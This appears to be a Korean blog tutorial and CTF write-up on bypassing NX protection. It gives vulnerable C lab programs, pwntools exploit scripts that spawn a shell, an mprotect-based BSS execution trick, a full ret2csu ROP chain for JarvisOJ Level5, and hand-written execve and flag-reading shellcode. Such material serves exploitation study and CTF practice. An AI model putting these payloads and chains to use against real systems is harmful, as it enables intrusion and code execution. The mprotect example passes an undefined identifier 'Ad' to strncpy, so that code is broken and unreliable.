Shellcode를 활용한 NX 보호 우회와 BSS 영역 권한 변경

NX 보호 우회를 위한 shellcode 기반 공격

다음은 버퍼에 데이터를 입력받아 해당 버퍼의 내용을 함수로 실행하는 C 프로그램입니다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int func_call() {
    char buffer[0x100];
    puts("Enter payload:");
    read(0, buffer, 0x100);
    ((void (*) (void)) buffer)();
    return 0;
}

int main() {
    func_call();
    return 0;
}

이 프로그램은 buffer 배열에 최대 0x100바이트의 데이터를 읽어들인 후, 그 내용을 함수 포인터로 변환하여 실행합니다. NX 보호가 비활성화된 경우, 이 버퍼에 실행 가능한 기계어 코드(shellcode)를 삽입하여 프로그램 흐름을 제어할 수 있습니다.

컴파일 시 NX 보호를 해제하려면 -z execstack 옵션을 사용합니다:

gcc shellcode_basic.c -fno-stack-protector -no-pie -z execstack -o shellcode_x64

Linux에서 메모리 세그먼트의 권한은 r(읽기), w(쓰기), x(실행)로 표시됩니다. r-w-x 권한이 부여된 영역에는 shellcode를 삽입하여 CPU가 실행할 수 있습니다.

pwntools의 shellcraft 모듈은 다양한 어셈블리 코드를 제공하며, shellcraft.sh()는 쉘을 획득하는 코드를 반환합니다. asm() 함수로 이를 기계어로 변환할 수 있습니다:

from pwn import *

context(log_level='debug')
binary = './shellcode_x64'
process = process(binary)

shellcode_payload = asm(shellcraft.sh())
process.sendlineafter(b'Enter payload:', shellcode_payload)
process.interactive()

mprotect()를 활용한 BSS 영역 실행 권한 부여

NX 보호가 활성화된 상황에서도 mprotect() 함수를 이용해 특정 메모리 영역에 실행 권한을 부여할 수 있습니다. 다음 코드는 전역 변수 global_buf가 위치한 BSS 세그먼트에 실행 권한을 설정합니다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>

char global_buf[0x100];

int func_call() {
    char local_buf[0x100];
    int page_size = getpagesize();
    long long address = global_buf;
    address = (address >> 12) << 12;
    mprotect(address, page_size, 7);
    puts("Enter payload:");
    read(0, local_buf, 0x200);
    strncpy(global_buf, local_buf, Ad);
    printf("Exiting...");
    return 0;
}

int main() {
    func_call();
    return 0;
}

컴파일 명령어는 다음과 같습니다:

gcc shellcode_mprotect.c -fno-stack-protector -no-pie -o mprotect_example

int mprotect(const void *start, size_t len, int prot) 함수는 다음과 같은 인자를 받습니다:

  • *start: 메모리 영역의 시작 주소
  • len: 변경할 영역의 길이
  • prot: 새로 설정할 권한 값. 7은 읽기, 쓰기, 실행 권한(r-w-x)을 동시에 부여합니다.

mprotect() 호출로 global_buf가 위치한 영역에 실행 권한이 부여되며, strncpy()를 통해 local_buf의 내용이 global_buf로 복사됩니다. 따라서 shellcode를 local_buf에 삽입하고 스택 오버플로를 통해 반환 주소를 global_buf의 주소로 덮어쓰면 shellcode가 실행됩니다.

다음은 이를 활용한 익스플로잇 코드입니다:

from pwn import *

context(log_level='debug', arch='amd64', os='linux')
binary_path = './mprotect_example'

p = process(binary_path)
elf = ELF(binary_path)
target_address = elf.symbols['global_buf']

padding_size = 0x118
payload = asm(shellcraft.sh()).ljust(padding_size, b'\x00') + p64(target_address)
p.sendlineafter(b'Enter payload:', payload)

p.interactive()

제한된 환경에서의 shellcode 최적화

shellcode는 역사가 길며 다양한 플랫폼과 아키텍처에 맞게 최적화된 버전이 존재합니다. 예를 들어, 가장 짧은 길이의 shellcode는 8바이트에 불과하며, 64비트 아키텍처용 27바이트 버전도 널리 사용됩니다. 이러한 compact shellcode는 입력 길이가 제한된 문제에서 유용하게 활용됩니다.

실전 문제 분석: JarvisOJ Level5

이 문제는 NX 보호가 활성화된 상태에서 shellcode를 이용해 해결해야 합니다. ret2libc 공격이 가능하지만, shellcode를 사용해야 한다는 제약이 있습니다. 핵심 접근법은 다음과 같습니다:

  1. write() 함수의 실제 주소를 유출하여 libc 베이스 주소 계산
  2. BSS 세그먼트에 shellcode 작성
  3. mprotect() 함수를 이용해 BSS 영역에 실행 권한 부여
  4. BSS에 저장된 shellcode 실행

libc 베이스 주소를 계산한 후 mprotect()의 실제 주소를 얻는 코드는 다음과 같습니다:

write_plt = elf.plt['write']
write_got = elf.got['write']
vuln_func = elf.symbols['vulnerable_function']
pop_rdi = 0x4006b3
pop_rsi_r15 = 0x4006b1

offset = 0x88
payload = flat([b'A' * offset, pop_rdi, 1, pop_rsi_r15, write_got, 0, write_plt, vuln_func])
io.send(payload)

write_real = u64(io.recv(6).ljust(8, b'\x00'))

libc = LibcSearcher('write', write_real)
libc_base = write_real - libc.dump('write')
mprotect_addr = libc_base + libc.dump('mprotect')

BSS 세그먼트에 shellcode를 쓰기 위한 코드입니다:

bss_start = elf.bss()
read_plt = elf.symbols['read']
payload2 = flat([b'A' * offset, pop_rdi, 0, pop_rsi_r15, bss_start, 0, read_plt, vuln_func])
io.send(payload2)
io.send(asm(shellcraft.sh()))

GOT 테이블의 빈 엔트리를 활용해 mprotect() 주소와 BSS 주소를 저장합니다:

bss_got_entry = 0x600A48
payload3 = flat([b'A' * offset, pop_rdi, 0, pop_rsi_r15, bss_got_entry, 0, read_plt, vuln_func])
io.send(payload3)
io.send(p64(bss_start))

mprotect_got_entry = 0x600A50
payload4 = flat([b'A' * offset, pop_rdi, 0, pop_rsi_r15, mprotect_got_entry, 0, read_plt, vuln_func])
io.send(payload4)
io.send(p64(mprotect_addr))

ret2csu 기법을 사용해 mprotect()를 호출합니다. 페이지 정렬을 위해 시작 주소는 0x600000으로 설정하며, 길이는 0x1000(한 페이지)으로 지정합니다:

pop_rbx_rbp_r12_r13_r14_r15 = 0x4006AA
mov_rdx_r13_call = 0x400690
final_payload = flat([b'A' * offset, pop_rbx_rbp_r12_r13_r14_r15, 0, 1, mprotect_got_entry, 7, 0x1000, 0x600000, mov_rdx_r13_call])
final_payload += flat([0, 0, 1, bss_got_entry]) + p64(0) * 3
final_payload += p64(mov_rdx_r13_call)
io.send(final_payload)
io.interactive()

효율적인 shellcode 작성 원리

64비트 아키텍처용 간결한 shellcode

쉘을 실행하는 것은 본질적으로 execve("/bin/sh", NULL, NULL) 시스템 호출을 수행하는 것입니다. 이를 위해 필요한 단계는 다음과 같습니다:

  1. 시스템 호출 번호 0x3b를 RAX에 저장
  2. 첫 번째 인자로 문자열 "/bin/sh"의 주소를 RDI에 전달
  3. 두 번째와 세 번째 인자로 NULL을 RSI와 RDX에 전달

최적화된 어셈블리 코드는 다음과 같습니다:

xor rax, rax
push 0x3b
pop rax
xor rdi, rdi
mov rdi, 0x68732f6e69622f  ; "/bin/sh" 문자열 (널 문자 포함)
push rdi
push rsp
pop rdi
xor rsi, rsi
xor rdx, rdx
syscall

이 코드는 총 30바이트(0x1e)로 매우 compact합니다.

32비트 아키텍처용 shellcode

32비트에서는 int 0x80 인터럽트를 사용하며, 인자는 EBX, ECX, EDX 레지스터를 통해 전달됩니다:

xor ecx, ecx
xor edx, edx
xor ebx, ebx
push ebx
push 0x68732f2f  ; "//sh"
push 0x6e69622f  ; "/bin"
mov ebx, esp
xor eax, eax
push 11
pop eax
int 0x80

ORW(Open-Read-Write) shellcode

일부 문제에서는 샌드박스 보호로 인해 execve()system() 호출이 차단될 수 있습니다. 이러한 경우 파일을 직접 열어 내용을 읽고 출력하는 ORW shellcode를 사용할 수 있습니다:

; flag 파일 열기
push 0x67616c66  ; "flag"
push rsp
pop rdi
push 0
pop rsi
push 2
pop rax
syscall

; 파일 내용 읽기 (파일 디스크립터 3)
push 3
pop rdi
push rsp
pop rsi
push 0x50
pop rdx
push 0
pop rax
syscall

; 표준 출력에 내용 쓰기
push 1
pop rdi
push rsp
pop rsi
push 0x50
pop rdx
push 1
pop rax
syscall

shellcode 디버깅과 테스트

작성한 shellcode를 테스트하기 위해 어셈블리 파일을 생성하고 컴파일할 수 있습니다:

section .text
global _start
_start:
    ; shellcode 내용
    xor rax, rax
    push 0x3b
    pop rax
    xor rdi, rdi
    mov rdi, 0x68732f6e69622f
    push rdi
    push rsp
    pop rdi
    xor rsi, rsi
    xor rdx, rdx
    syscall

컴파일과 링크 명령어:

nasm -f elf64 shellcode.asm
ld -s -o shellcode shellcode.o

생성된 실행 파일을 GDB로 디버깅하거나 직접 실행하여 shellcode가 정상적으로 동작하는지 확인할 수 있습니다.

태그: shellcode NX-bypass mprotect ret2csu pwntools

9월 12일 19:58에 게시됨